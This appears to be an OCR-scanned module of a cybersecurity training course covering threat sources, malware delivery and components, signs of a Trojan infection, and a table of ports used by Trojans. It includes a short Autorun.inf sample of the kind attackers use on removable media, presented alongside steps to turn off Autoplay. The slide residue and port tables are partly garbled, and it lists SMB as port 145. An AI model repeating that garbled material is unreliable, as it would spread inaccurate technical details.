mechanisms to continuously monitor their IT environment in order to identify the
vulnerabilities and resolve them before exploitation. It is important to understand the
difference between a security threat and a vulnerability. Security threats are incidents that
negatively impact the organization’s IT infrastructure, whereas vulnerabilities are security gaps
or flaws in a system or network that make threats possible, tempting hackers to exploit them.

This module starts with an introduction to threats and threat sources. It provides insight into
malware and its types. Later, the module discusses vulnerabilities and ends with a brief
discussion on the types of vulnerability assessment, and vulnerability assessment tools.

At the end of this module, you will be able to do the following:
= Explain the threat and threat sources
= Understand malware and components of malware
=  Describe the common techniques attackers use to distribute malware on the web
= Describe different types of malware and malware countermeasures
= Explain the vulnerability and vulnerability classification
= Understand the vulnerability research
= Understand vulnerability assessment and the types of vulnerability assessment
= Explain vulnerability scoring systems and vulnerability management life cycle

= Know about the vulnerability assessment tools and vulnerability exploitation
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Module Flow
VULNERABIL/
/SCANNING

'

1 2
Define Threat and Define Malware -
Threat Sources and its Types
3 4
Define Define Vulnerability
Vulnerabilities Assessment
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Define Threat and Threat Sources

The security professionals need to understand the threat and threat sources to easily tackle and
handle the evolving threats, their TTPs, and actors. This section discusses the threat, and threat
sources.
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What is a Threat?

= Athreatis the potential occurrence of an
undesirable event that can eventually
damage and disrupt the operational and
functional activities of an organization

= Attackers use cyber threats to infiltrate
and steal data such as individual’s
personal information, financial
information, and login credentials
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What is a Threat?

A threat is the potential occurrence of an undesirable event that can eventually damage and
disrupt the operational and functional activities of an organization. A threat can be any type of
entity or action performed on physical or intangible assets that can disrupt security. The
existence of threats may be accidental, intentional, or due to the impact of another action.
Attackers use cyber threats to infiltrate and steal data such as personal information, financial
information, and login credentials. They can also use a compromised system to perform
malicious activities and launch further attacks. The criticality of a threat is based on how much
damage it can cause, how uncontrollable it is, or the level of complexity in identifying the latest
discovered threat incident in advance. Threats to data assets cause loss of confidentiality,
integrity, or availability (CIA) of data. They also result in data loss, identity theft, cyber
sabotage, and information disclosure.

Examples of Threats
= An attacker stealing sensitive data of an organization
= An attacker causing a server to shut down
= An attacker tricking an employee into revealing sensitive information
= An attacker infecting a system with malware
= An attacker spoofing the identity of an authorized person to gain access
= An attacker modifying or tampering with the data transferred over a network
= An attacker remotely altering the data in a database server

= An attacker performing URL redirection or URL forwarding
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= An attacker performing privilege escalation for unauthorized access

= An attacker executing denial-of-service (DoS) attacks for making resources unavailable

= An attacker eavesdropping on a communication channel without authorized access
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Threat Sources

Threat Sources

2 v
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* Floods administrators

* Power failures ¢ Accidents
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employees * Fired employee « Hackers
* Disgruntled * Criminals
employee ¢ Terrorists
* Service providers * Foreign intelligence
* Contractors agents

* Corporate raiders
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Threat Sources

The following are the various sources from which threats originate. They can be broadly
classified as natural threats, unintentional threats, and intentional threats.

Threat Sources
|
¥ A

* Fires *  Unskilled
administrators

* Floods

* Lazy or untrained

employees * Fired employee * Hackers
« Disgruntled ¢ Criminals
employee * Terrorists
* Service providers * Foreignintelligence
* Contractors agents

« Corporate raiders

Figure 3.1: Classification of Threat Sources
= Natural Threats

Natural factors such as fires, floods, power failures, lightning, meteor, and earthquakes
are potential threats to the assets of an organization. For example, these may cause
severe physical damage to computer systems.
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Unintentional Threats

Unintentional threats are threats that exist due to the potential for unintentional errors
occurring within the organization. Examples include insider-originating security
breaches, negligence, operator errors, unskilled administrators, lazy or untrained
employees, and accidents.

Intentional Threats

There are two sources of intentional threats.

(@]

Internal Threats

Most computer and Internet-related crimes are insiders or internal attacks. These
threats are performed by insiders within the organization such as disgruntled or
negligent employees and harm the organization intentionally or unintentionally.
Most of these attacks are performed by privileged users of the network.

The causes for insider attacks could be revenge, disrespect, frustration, or lack of
security awareness. Insider attacks are more dangerous than external attacks
because insiders are familiar with the network architecture, security policies, and
regulations of the organization. Additionally, security measures and solutions
typically focus more on external attacks, potentially leading an organization to be
underequipped to identify and counter internal attacks.

External Threats

External attacks are performed by exploiting vulnerabilities that already exist in a
network, without the assistance of insider employees. Therefore, the potential to
perform an external attack depends on the severity of the identified network
weaknesses. Attackers may perform such attacks for financial gain, to damage the
reputation of the target organization, or simply for the sake of curiosity. External
attackers can be individuals with expertise in attack techniques or a group of people
who work together with a shared motive. For example, attacks can be performed
with the objective of supporting a cause, by competitor companies for corporate
espionage, and by countries for surveillance. Attackers performing external attacks
have a predefined plan and use specialized tools and techniques to successfully
penetrate networks. External attacks can include application- and virus-based
attacks, password-based attacks, instant messaging—based attacks, network traffic—
based attacks, and operating system (OS)-based attacks.

External threats are further classified into two types.
e Structured external threats

Structured external threats are implemented by technically skilled attackers,
using various tools to gain access into a network, with the aim of disrupting
services. The motivation behind such attacks includes criminal bribes, racism,
politics, terrorism, etc. Examples include distributed ICMP floods, spoofing, and
simultaneously executing attacks from multiple sources. Tracking and identifying
an attacker executing such an attack can be challenging.
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Unstructured external threats

Unstructured external threats are implemented by unskilled attackers, typically
script kiddies who may be aspiring hackers, to access networks. Most of these
attacks are performed primarily out of curiosity, rather than with criminal
intentions. For example, untrained attackers use freely available online tools for
attempting a network attack or for crashing a website or other public domains
on the Internet. Unstructured external threats can easily be prevented by
adopting security solutions such as port-scanning and address-sweeping tools.
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Define Malware and its Types

To understand the various types of malware and their impact on network and system
resources, we will begin with a discussion of the basic concepts of malware. This section
describes malware, types of malware, and highlights the common techniques used by attackers
to distribute malware on the web.
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Introduction to Malware

U Malware is malicious software that damages or
disables computer systems and gives limited or full
control of the systems to the malware creator for
the purpose of theft or fraud

Malware programmers develop and use
malware to:

m Attack browsers and track websites visited

Slow down systems and degrade system
performance

Cause hardware failure, rendering computers
inoperable

Steal personal information, including contacts
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Introduction to Malware

Malware is malicious software that damages or disables computer systems and gives limited or
full control of the systems to the malware creator for malicious activities such as theft or fraud.
Malware includes viruses, worms, Trojans, rootkits, backdoors, botnets, ransomware, spyware,
adware, scareware, crapware, roughware, crypters, keyloggers, etc. This malicious software
may delete files, slow down computers, steal personal information, send spam, or commit
fraud. Malware can perform various malicious activities ranging from simple email advertising
to complex identity theft and password stealing.

Malware programmers develop and use malware to:
= Attack browsers and track websites visited
= Slow down systems and degrade system performance
= Cause hardware failure, rendering computers inoperable
= Steal personal information, including contacts
= Erase valuable information, resulting in substantial data loss
= Attack additional computer systems directly from a compromised system

»= Spam inboxes with advertising emails
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Different Ways for Malware to Enter a System
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@ o 8 PP o Internet

Portable hardware

. . Email attachments
media/removable devices

Browser and email software bugs Installation by other malware

Untrusted sites and freeware

L Bluetooth and wireless networks
web applications/ software
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Different Ways for Malware to Enter a System
= |nstant Messenger Applications

Infection can occur via instant messenger applications such as Facebook Messenger,
WhatsApp Messenger, LinkedIn Messenger, Google Hangouts, or ICQ. Users are at high
risk while receiving files via instant messengers. Regardless of who sends the file or from
where it is sent, there is always a risk of infection by a Trojan. The user can never be
100% sure of who is at the other end of the connection at any particular moment. For
example, if you receive a file through an instant messenger application from a known
person such as Bob, you will try to open and view the file. This could be a trick whereby
an attacker who has hacked Bob's messenger ID and password wants to spread Trojans
across Bob's contacts list to trap more victims.

= Portable Hardware Media/Removable Devices

o Portable hardware media such as flash drives, CDs/ DVDs, and external hard drives
can also inject malware into a system. A simple way of injecting malware into the
target system is through physical access. For example, if Bob can access Alice’s
system in her absence, then he can install a Trojan by copying the Trojan software
from his flash drive onto her hard drive.

o Another means of portable media malware infection is through the Autorun
function. Autorun, also referred to as Autoplay or Autostart, is a Windows feature
that, if enabled, runs an executable program when a user inserts a CD/DVD in the
DVD-ROM tray or connects a USB device. Attackers can exploit this feature to run
malware along with genuine programs. They place an Autorun.inf file with the
malware in a CD/DVD or USB device and trick people into inserting or plugging it into
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their systems. Because many people are not aware of the risks involved, their
machines are vulnerable to Autorun malware. The following is the content of an
Autorun.inf file:

[autorun]

open=setup.exe

icon=setup.exe

To mitigate such infection, turn off the Autostart functionality. Follow the
instructions below to turn off Autoplay in Windows 10:

1. Click Start. Type gpedit.msc in the Start Search box, and then press ENTER.

2. If you are prompted for an administrator password or confirmation, type the
password, or click Allow.

3. Under Computer Configuration, expand Administrative Templates, expand
Windows Components, and then click Autoplay Policies.

4. In the Details pane, double-click Turn off Autoplay.

5. Click Enabled, and then select All drives in the Turn off Autoplay box to disable
Autorun on all drives.

6. Restart the computer.
Browser and Email Software Bugs

Outdated web browsers often contain vulnerabilities that can pose a major risk to the
user’s computer. A visit to a malicious site from such browsers can automatically infect
the machine without downloading or executing any program. The same scenario occurs
while checking e-mail with Outlook Express or some other software with well-known
problems. Again, it may infect the user's system without even downloading an
attachment. To reduce such risks, always use the latest version of the browser and e-
mail software.

Insecure Patch management

Unpatched software poses a high risk. Users and IT administrators do not update their
application software as often as they should, and many attackers take advantage of this
well-known fact. Attackers can exploit insecure patch management by injecting the
software with malware that can damage the data stored on the company’s systems. This
process can lead to extensive security breaches, such as stealing of confidential files and
company credentials. Some applications that were found to be vulnerable and were
patched recently include Google Play Core Library (CVE-2020-8913), Cloudflare WARP
for Windows (CVE-2020-35152), Oracle WebLogic Server (CVE-2020-14750), and Apache
Tomcat (CVE-2021-24122). Patch management must be effective in mitigating threats,
and it is vital to apply patches and regularly update software programs.
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= Rogue/Decoy Applications

Attackers can easily lure a victim into downloading free applications/programs. If a free
program claims to be loaded with features such as an address book, access to several
POP3 accounts, and other functions, many users will be tempted to try it. POP3 (Post
Office Protocol version 3) is an email transfer protocol.

o

(@]

If a victim downloads free programs and labels them as TRUSTED, protection
software such as antivirus software will fail to indicate the use of new software. In
this situation, an attacker receives an email, POP3 account passwords, cached
passwords, and keystrokes through email without being noticed.

Attackers thrive on creativity. Consider an example in which an attacker creates a
fake website (say, Audio galaxy) for downloading MP3s. He or she could generate
such a site using 15 GB of space for the MP3s and installing any other systems
needed to create the illusion of a website. This can fool users into thinking that they
are merely downloading from other network users. However, the software could act
as a backdoor and infect thousands of naive users.

Some websites even link to anti-Trojan software, thereby fooling users into trusting
them and downloading infected freeware. Included in the setup is a readme.txt file
that can deceive almost any user. Therefore, any freeware site requires proper
attention before any software is downloaded from it.

Webmasters of well-known security portals, who have access to vast archives
containing various hacking programs, should act responsibly with regard to the files
they provide and scan them often with antivirus and anti-Trojan software to
guarantee that their site is free of Trojans and viruses. Suppose that an attacker
submits a program infected with a Trojan (e.g., a UDP flooder) to an archive’s
webmaster. If the webmaster is not alert, the attacker may use this opportunity to
infect the files on the site with the Trojan. Users who deal with any software or web
application should scan their systems daily. If they detect any new file, it is essential
to examine it. If any suspicion arises regarding the file, it is also important to forward
it to software detection labs for further analysis.

It is easy to infect machines using freeware; thus, extra precautions are necessary.

= Untrusted Sites and Freeware Web Applications/Software

A website could be suspicious if it is located at a free website provider or one offering
programs for illegal activities.

o

It is highly risky to download programs or tools located on “underground” sites, e.g.,
NeuroticKat software, because they can serve as a conduit for a Trojan attack on
target computers. Users must assess the high risk of visiting such sites before
browsing them.

Many malicious websites have a professional look, massive archives, feedback
forums, and links to other popular sites. Users should scan the files using antivirus
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software before downloading them. Just because a website looks professional does
not mean that it is safe.

o Always download popular software from its original (or officially dedicated mirror)
site, and not from third-party sites with links to the (supposedly) same software.

Downloading Files from the Internet

Trojans enter a system when users download Internet-driven applications such as music
players, files, movies, games, greeting cards, and screensavers from malicious websites,
thinking that they are legitimate. Microsoft Word and Excel macros are also used
effectively to transfer malware and downloaded malicious MS Word/Excel files can
infect systems. Malware can also be embedded in audio/video files as well as in video
subtitle files.

Email Attachments

An attachment to an e-mail is the most common medium to transmit malware. The
attachment can be in any form, and the attacker uses innovative ideas to trick the victim
into clicking and downloading the attachment. The attachment may be a document,
audio file, video file, brochure, invoice, lottery offer letter, job offer letter, loan approval
letter, admission form, contract approval, etc.

Example 1: A user’s friend is conducting some research, and the user would like to know
more about the friend’s research topic. The user sends an e-mail to the friend to inquire
about the topic and waits for a reply. An attacker targeting the user also knows the
friend’s e-mail address. The attacker will merely code a program to falsely populate the
e-mail “From:” field and attach a Trojan in the email. The user will check the email and
think that the friend has answered the query in an attachment, download the
attachment, and run it without thinking it might be a Trojan, resulting in an infection.

Some email clients, such as Outlook Express, have bugs that automatically execute
attached files. To avoid such attacks, use secure email services, investigate the headers
of emails with attachments, confirm the sender’s email address, and download the
attachment only if the sender is legitimate.

Network Propagation

Network security is the first line of defense for protecting information systems from
hacking incidents. However, various factors such as the replacement of network
firewalls and mistakes of operators may sometimes allow unfiltered Internet traffic into
private networks. Malware operators continuously attempt connections to addresses
within the Internet address range owned by targets to seek an opportunity for
unfettered access. Some malware propagates through technological networks. For
example, the Blaster starts from a local machine’s IP address or a completely random
address and attempts to infect sequential IP addresses. Although network propagation
attacks that take advantage of vulnerabilities in common network protocols (e.g., SQL
Slammer) have not been prevalent recently, the potential for such attacks still exists.
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= File Sharing Services

If NetBIOS (Port 139), FTP (Port 21), SMB (Port 145), etc., on a system are open for file
sharing or remote execution, they can be used by others to access the system. This can
allow attackers to install malware and modify system files.

Attackers can also use a DoS attack to shut down the system and force a reboot so that
the Trojan can restart itself immediately. To prevent such attacks, ensure that the file
sharing property is disabled. To disable the file sharing option in Windows, click Start
and type Control Panel. Then, in the results, click on the Control Panel option and
navigate to Network and Internet > Network and Sharing Center - Change Advanced
Sharing Settings. Select a network profile and under File and Printer Sharing section,
select Turn off file and printer sharing. This will prevent file sharing abuse.

= Installation by other Malware

A piece of malware that can command and control will often be able to re-connect to
the malware operator’s site using common browsing protocols. This functionality allows
malware on the internal network to receive both software and commands from the
outside. In such cases, the malware installed on one system drives the installation of
other malware on the network, thereby causing damage to the network.

=  Bluetooth and Wireless Networks

Attackers use open Bluetooth and Wi-Fi networks to attract users to connect to them.
These open networks have software and hardware devices installed at the router level
to capture the network traffic and data packets as well as to find the account details of
the users, including usernames and passwords.
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Common Techniques Attackers Use to Distribute
Malware on the Web

Black hat Search Engine |

Optimization (SEO) Ranking malware pages highly in search results

Social Engineered |

Click-jacking Tricking users into clicking on innocent-looking webpages

A Spear-phishing Sites | Mimicking legitimate institutions in an attempt to steal login credentials ‘

| Embedding malware in ad-networks that display across hundreds

Malvertising of legitimate, high-traffic sites
Compromised . . -
Legitimate Websites | Hosting embedded malware that spreads to unsuspecting visitors ‘

Drive-by Downloads | E.x!:l.oiting flaws in browser software to install malware just by
visiting a web page
Attaching the malware to emails and tricking victims to click the

Spam Emails [ attachment
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Common Techniques Attackers Use to Distribute Malware on the Web

Source: Security Threat Report (https://www.sophos.com)
Some standard techniques used to distribute malware on the web are as follows:

= Black hat Search Engine Optimization (SEO): Black hat SEO (also referred to as unethical
SEQ) uses aggressive SEO tactics such as keyword stuffing, inserting doorway pages,
page swapping, and adding unrelated keywords to get higher search engine rankings for
malware pages.

®  Social Engineered Click-jacking: Attackers inject malware into websites that appear
legitimate to trick users into clicking them. When clicked, the malware embedded in the
link executes without the knowledge or consent of the user.

= Spear-phishing Sites: This technique is used for mimicking legitimate institutions, such
as banks, to steal passwords, credit card and bank account data, and other sensitive
information.

®  Malvertising: This technique involves embedding malware-laden advertisements in
legitimate online advertising channels to spread malware on systems of unsuspecting
users.

= Compromised Legitimate Websites: Often, attackers use compromised websites to
infect systems with malware. When an unsuspecting user visits the compromised
website, he/she unknowingly installs the malware on his/her system, after which the
malware performs malicious activities.
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= Drive-by Downloads: This refers to the unintentional downloading of software via the
Internet. Here, an attacker exploits flaws in browser software to install malware by
merely visiting a website.

=  Spam Emails: The attacker attaches a malicious file to an email and sends the email to
multiple target addresses. The victim is tricked into clicking the attachment and thus
executes the malware, thereby compromising his/her machine. This technique is the
most common method currently in use by attackers. In addition to email attachments,
an attacker may also use the email body to embed the malware.
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Components of Malware

O The components of a malware software depend on the requirements of the

Malicious Code A command that defines malware’s basic functionalities such as stealing data and creating backdoors

malware author who designs it for a specific target to perform intended tasks

Malware

Description
Component P
Crypter Software that protects malware from undergoing reverse engineering or analysis
Downloader A type of Trojan that downloads other malware from the Internet on to the PC \
Dropper A type of Trojan that covertly installs other malware files on to the system l %
Exploit A malicious code that breaches the system security via software vulnerabilities to access information or \ s
P install malware

A program that injects its code into other vulnerable running processes and changes how they execute to

Inj r .
[ hide or prevent its removal I Ery ﬁ
S /

Obfuscator A program that conceals its code and intended purpose via various techniques, and thus, makes it hard for % rad
security mechanisms to detect or remove it e _”;, -
packer A program that allows all files to bundle together into a single executable file via compression to bypass
security software detection
Payload A piece of software that allows control over a computer system after it has been exploited
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Components of Malware

Malware authors and attackers create it using components that can help them achieve their
goals. They can use malware to steal information, delete data, change system settings, provide
access, or merely multiply and occupy space. Malware is capable of propagating and
functioning secretly.

Certain essential components of most malware programs are as follows:

Crypter: This is a software that can conceal the existence of malware. Attackers use this
software to elude antivirus detection. It protects malware from reverse engineering or
analysis, thus making it difficult to detect by security mechanisms.

Downloader: This is a type of Trojan that downloads other malware (or) malicious code
and files from the Internet to a PC or device. Usually, attackers install a downloader
when they first gain access to a system.

Dropper: This is a covert carrier of malware. Attackers embed notorious malware files
inside droppers, which can perform the installation task covertly. Attackers need to first
install the malware program or code on the system to execute the dropper. The dropper
can transport malware code and execute malware on a target system without being
detected by antivirus scanners.

Exploit: This is that part of the malware that contains code or a sequence of commands
that can take advantage of a bug or vulnerability in a digital system or device. Attackers
use such code to breach the system’s security through software vulnerabilities to spy on
information or to install malware. Based on the type of vulnerabilities abused, exploits
are categorized into local exploits and remote exploits.
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= |njector: This program injects exploits or malicious code available in the malware into
other vulnerable running processes and it changes the method of execution in order to
hide or prevent its removal.

= Obfuscator: This is a program that conceals the malicious code of malware via various
techniques, thereby making it difficult for security mechanisms to detect or remove it.

= Packer: This software compresses the malware file to convert the code and data of the
malware into an unreadable format. It uses compression techniques to pack the
malware.

= Payload: This is the part of the malware that performs the desired activity when
activated. It may be used for deleting or modifying files, degrading the system
performance, opening ports, changing settings, and so on, to compromise system
security.

= Malicious code: This is a piece of code that defines the basic functionality of the
malware and comprises commands that result in security breaches. It can take the
following forms:

o Javaapplets
o ActiveX controls
o Browser plug-ins

o Pushed content
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Types of Malware

Trojans PUAs or Grayware

Viruses

Spyware

Computer Worms Botnets

6

H
Ransomware B xeylogger

9|

10

Rootkits Fileless Malware
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Types of Malware

A malware is a piece of malicious software that is designed to perform activities as intended by
the attacker, without user consent. This may be in the form of executable code, active content,
scripts, or other kinds of software.

Listed below are various types of malware:
= Trojans
= \iruses
=  Ransomware
=  Computer Worms
= Rootkits

=  PUAs or Grayware

=  Spyware
=  Keylogger
=  Botnets

=  Fileless Malware
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What is a Trojan?

©, ©,

It is a program in which the malicious Trojans get activated Trojans create a covert
or harmful code is contained inside when a user performs communication channel
an apparently harmless program or certain predefined between the victim computer
data, which can later gain control actions and the attacker for
and cause damage transferring sensitive data
Change?
Destroy? }rﬂj
........................................ >
Downloads

Malicious Files

Attacker Internet
propagates Trojan ernenneee a ----------- ;

Malicious Files Victim infected with Trojan
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Trojans

What is a Trojan?

According to ancient Greek mythology, the Greeks won the Trojan War with the aid of a giant
wooden horse that was built to hide their soldiers. The Greeks left this horse in front of the
gates of Troy. The Trojans thought that the horse was a gift from the Greeks, which they had
left before apparently withdrawing from the war and brought it into their city. At night, the
Greek soldiers broke out of the wooden horse and opened the city gates to let in the rest of the
Greek army, who eventually destroyed the city of Troy.

Inspired by this story, a computer Trojan is a program in which malicious or harmful code is
contained inside an apparently harmless program or data, which can later gain control and
cause damage, such as ruining the file allocation table on your hard disk. Attackers use
computer Trojans to trick the victim into performing a predefined action. Trojans are activated
upon users’ specific predefined actions such as unintentionally installing a malicious software,
clicking on a malicious link, etc., and upon activation, they can grant attackers unrestricted
access to all the data stored on the compromised information system and potentially cause
severe damage. For example, users could download a file that appears to be a movie, but, when
executed, unleashes a dangerous program that erases the hard drive or sends credit card
numbers and passwords to the attacker.

A Trojan is wrapped within or attached to a legitimate program, meaning that the program may
have functionality that is not apparent to the user. Furthermore, attackers use victims as
unwitting intermediaries to attack others. They can use a victim’s computer to commit illegal
DosS attacks.
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Trojans work at the same level of privileges as the victims. For example, if a victim has privileges
to delete files, transmit information, modify existing files, and install other programs (such as
programs that provide unauthorized network access and execute privilege elevation attacks),
once the Trojan infects that system, it will possess the same privileges. Furthermore, it can
attempt to exploit vulnerabilities to increase the level of access even beyond the user running
it. If successful, the Trojan can use such increased privileges to install other malicious code on
the victim’s machine.

A compromised system can affect other systems on the network. Systems that transmit
authentication credentials such as passwords over shared networks in clear text or a trivially
encrypted form are particularly vulnerable. If an intruder compromises a system on such a
network, he or she may be able to record usernames and passwords or other sensitive
information.

Additionally, a Trojan, depending on the actions it performs, may falsely implicate a remote
system as the source of an attack by spoofing, thereby causing the remote system to incur a
liability. Trojans enter the system by means such as email attachments, downloads, and instant
messages.

2 Change?
i I o B - et S B e T L e > ==
: - : Downloads
: : Malicious Files ~—
Attacker Internet EEEEm b
propagates Trojan SILLILEALY &  RLLLLLLLLCH EEEEE -&

Victim infected with Trojan

Malicious Files

Figure 3.2: Depiction of a Trojan attack
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Indications of Trojan Attack

The computer screen blinks, flips
upside-down, or is inverted so that
everything is displayed backward

The color settings of the operating
system (OS) change automatically

o (&
The default background or r | ..
. - Antivirus programs are
wallpaper settings change ﬁ automatically disabled @
automatically @(

Web pages suddenly open without Pop-ups with bizarre messages
input from the user suddenly appear

€]
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Indications of Trojan Attack

The following computer malfunctions are indications of a Trojan attack:

The DVD-ROM drawer opens and closes automatically.

The computer screen blinks, flips upside-down, or is inverted so that everything is
displayed backward.

The default background or wallpaper settings change automatically. This can be
performed using pictures either on the user’s computer or in the attacker’s program.

Printers automatically start printing documents.

Web pages suddenly open without input from the user.

The color settings of the operating system (OS) change automatically.
Screensavers convert to a personal scrolling message.

The sound volume suddenly fluctuates.

Antivirus programs are automatically disabled, and the data are corrupted, altered, or
deleted from the system.

The date and time of the computer change.

The mouse cursor moves by itself.

The left- and right-click functions of the mouse are interchanged.
The mouse pointer disappears completely.

The mouse pointer automatically clicks on icons and is uncontrollable.
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= The Windows Start button disappears.

= Pop-ups with bizarre messages suddenly appear.

= Clipboard images and text appear to be manipulated.

* The keyboard and mouse freeze.

= Contacts receive emails from a user’s email address that the user did not send.

= Strange warnings or question boxes appear. Often, these are personal messages
directed at the user, asking questions that require him/her to answer by clicking a Yes,
No, or OK button.

= The system turns off and restarts in unusual ways.
=  The taskbar disappears automatically.

= The Task Manager is disabled. The attacker or Trojan may disable the Task Manager
function so that the victim cannot view the task list or end the task on a given program
or process.
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How Hackers Use Trojans

@ Delete or replace critical Disable firewalls and
operating system files antivirus

o— Record screenshots, audio, Create backdoors to gain

= and video of victim’s PC remote access

Steal personal information such
as passwords, security codes,
and credit card information

Use victim’s PC for spamming @
and blasting email messages

Download spyware, adware, @ Encrypt the data and lock out the
and malicious files victim from accessing the machine
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How Hackers Use Trojans
Attackers create malicious programs such as Trojans for the following purposes:

= Delete or replace OS’s critical files

Generate fake traffic to perform DoS attacks

=  Record screenshots, audio, and video of victim’s PC

= Use victim’s PC for spamming and blasting email messages
= Download spyware, adware, and malicious files

= Disable firewalls and antivirus

= Create backdoors to gain remote access

= |nfect the victim’s PC as a proxy server for relaying attacks
= Use the victim’s PC as a botnet to perform DDoS attacks

= Steal sensitive information such as:

o Credit card information, which is useful for domain registration as well as for
shopping using keyloggers

o Account data such as email passwords, dial-up passwords, and web service
passwords

o Important company projects, including presentations and work-related papers

= Encrypt the victim’s machine and prevent the victim from accessing the machine
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= Use the target system as follows:

o To store archives of illegal materials, such as child pornography. The target
continues using his/her system without realizing that attackers are using it for illegal
activities

o Asan FTP server for pirated software

= Script kiddies may just want to have fun with the target system; an attacker could plant

a Trojan in the system just to make the system act strangely (e.g., the CD\DVD tray
opens and closes frequently, the mouse functions improperly, etc.)

= The attacker might use a compromised system for other illegal purposes such that the
target would be held responsible if these illegal activities are discovered by the
authorities
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Common Ports used by Trojans

Port Trojan Port Trojan Port Trojan
20/22/80/443 | Emotet 1807 SpySender 8080 Zeus, Shamoon

21 Blade Runner, DarkFTP 1863 XtremeRAT 8787 /54321 | BackOfrice 2000

22 SSH RAT, Linux Rabbit 2140/3150/6670-71 | Deep Throat 10048 Delf

23 EliteWrap 5000 SpyGate RAT, Punisher RAT 10100 Gift

68 Mspy 5400-02 Blade Runner 11000 Senna Spy

80 Ismdoor, Poison Ivy, POWERSTATS 6666 KilerRat, Houdini RAT 11223 Progenic Trojan
443 Cardinal RAT, ghOst RAT, TrickBot 6667/12349 Bionet, Magic Hound 12223 Hack’99 KeylLogger
445 WannaCry, Petya 6969 GateCrasher, Priority 23456 Evil FTP, Ugly FTP
1177 njRAT 7000 Remote Grab 31337-38 gzce';c;gice/ BacklGhificel 20/
1604 DarkComet RAT, Pandora RAT 7789 ICKiller 65000 Devil

B (24 D Ton 1vu teve-raviiawzon g
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Common Ports used by Trojans

Ports represent the entry and exit points of data traffic. There are two types of ports: hardware
ports and software ports. Ports within the OS are software ports, and they are usually entry and
exit points for application traffic (e.g., port 25 is associated with SMTP for e-mail routing
between mail servers). Many existing ports are application-specific or process-specific. Various
Trojans use some of these ports to infect target systems.

Users need a basic understanding of the state of an "active connection” and ports commonly
used by Trojans to determine whether a system has been compromised.

Among the various states, the “listening” state is the important one in this context. The system
generates this state when it listens for a port number while waiting to connect to another
system. Whenever a system reboots, Trojans move to the listening state; some use more than
one port: one for "listening" and the other(s) for data transfer. Common ports used by different
Trojans are listed in the table below.

Port Trojan Port Trojan
2 Death 5001/50505 Sockets de Troie
20/22/80/ Emotet 5321 FireHotcker
443
2| vible F, webex, wincrash, DarkeTP 5569 | Robo-Hack
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22 Shaft, SSH RAT, Linux Rabbit 6267 GW Girl

23 Tiny Telnet Server, EliteWrap 6400 Thing

Antigen, Email Password Sender,
Terminator, WinPC, WinSpy, Haebu Coceda,

25 Shtrilitz Stealth, Terminator, Kuang2 0.17A- 6666 KilerRat, Houdini RAT
0.30, Jesrto, Lazarus Group, Mis-Type, Night
Dragon

26 BadPatch 6667/12349 Bionet, Magic Hound

31/456 Hackers Paradise 6670-71 DeepThroat

Denis, Ebury, FIN7, Lazarus Group,

53 RedLeaves, Threat Group-3390, Tropic 6969 GateCrasher, Priority
Trooper

68 Mspy 7000 Remote Grab

Necurs, NetWire, Ismdoor, Poison lvy,
Executer, Codered, APT 18, APT 19, APT 32,
BBSRAT, Calisto, Carbanak, Carbon, Comnie,
Empire, FIN7, InvisiMole, Lazarus Group,

80 MirageFox, Mis-Type, Misdat, Mivast, 7300-08 NetMonitor
MoonWind, Night Dragon, POWERSTATS,
RedLeaves, S-Type, Threat Group-3390,
UBoatRAT
. 7300/31338/
113 Shiver 31339 Net Spy
139 Nuker, Dragonfly 2.0 7597 Qaz
421 TCP Wrappers Trojan 7626 Gdoor

ADVSTORESHELL, APT 29, APT 3, APT 33,
AuditCred, BADCALL, BBSRAT, Bisonal, Briba,
Carbanak, Cardinal RAT, Comnie, Derusbi,
ELMER, Empire, FELIXROOT, FIN7, FIN8,
ghOst RAT, HARDRAIN, Hi-Zor, HOPLIGHT,
443 KEYMARBLE, Lazarus Group, LOWBALL, Mis- 7777 GodMsg
Type, Misdat, MoonWind, Naid, Nidiran,
Pasam, PlugX, PowerDuke, POWERTON,
Proxysvc, RATANKBA, RedLeaves, S-Type,
TEMP.Veles , Threat Group-3390, TrickBot,
Tropic Trooper, TYPEFRAME, UBoatRAT

445 WannaCry, Petya, Dragonfly 2.0 7789 ICKiller
456 Hackers Paradise 8000 BADCALL, Comnie, Volgmer
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555 Ini-Killer, Phase Zero, Stealth Spy 8012 Ptakks
Zeus, APT 37, Comnie,
EvilGrab, FELIXROOT, FIN7,
HTTPBrowser, Lazarus
666 Satanz Backdoor, Ripper 8080 Group, Magic Hound,
OceanSalt, S-Type,
Shamoon, TYPEFRAME,
Volgmer
. FELIXROOT, Nidiran,
1001 Silencer, WebEx 8443 TYPEFRAME
1011 Doly Trojan 8787/54321 BackOfrice 2000
1026/ RSM 9989 iNi-Killer
64666
1095-98 RAT 10048 Delf
1170 Psyber Stream Server, Voice 10100 Gift
1177 njRAT 10607 Coma 1.0.9
1234 Ultors Trojan 11000 Senna Spy
1234/ Valvo line 11223 Progenic Trojan
12345 & d
1243 SubSeven 1.0-1.8 12223 Hack’99 KeylLogger
1243/6711/ Sub Seven 12345-46 GabanBus, NetBus
6776/27374 !
1245 VooDoo Doll 12361, 12362 | Whack-a-mole
1777 Java RAT, Agent.BTZ/ComRat, Adwind RAT 16969 Priority
1349 Back Office DLL 20001 Millennium
NetBus 2.0, Beta-
1492 FTP99CMP 20034/1120 NetBus 2.01
1433 Misdat 21544 GirlFriend 1.0, Beta-1.35
. 22222/ .
1600 Shivka-Burka 33333 Prosiak
1604 DarkComet RAT, Pandora RAT, HellSpy RAT 22222 Rux
1807 SpySender 23432 Asylum
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1863 XtremeRAT 23456 Evil FTP, Ugly FTP
1981 Shockrave 25685 Moon Pie
1999 BackDoor 1.00-1.03 26274 Delta
2001 Trojan Cow 30100-02 NetSphere 1.27a
2115 Bugs 31337-38 ?ézcg/(l);;f;;eégack Orifice
2140 The Invasor 31338 DeepBO

2140/3150 DeepThroat 31339 NetSpy DK
2155 Illusion Mailer, Nirvana 31666 BOWhack
2801 Phineas Phucker 34324 BigGluck, TN
3129 Masters Paradise 40412 The Spy
3131 SubSari 40421-26 Masters Paradise
3150 The Invasor 47262 Delta
3389 RDP 50766 Fore

;;;)50//5(?(;;; Portal of Doom 53001 Eslr:cgzivvglindows

/10167

4000 RA 54321 SchoolBus .69-1.11/
4567 File Nail 1 61466 Telecommando
4590 ICQTrojan 65000 Devil
5000 Bubbel, SpyGate RAT, Punisher RAT
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Types of Trojans
=~
%\‘\ ﬁ U Trojans are categories according to their functioning and targets
>\ >
\ SN

Some of the example includes:

1 Remote Access Trojans 8  Service Protocol Trojans

Backdoor Trojans 9 Mobile Trojans

Botnet Trojans 10 loT Trojans

0.3

v

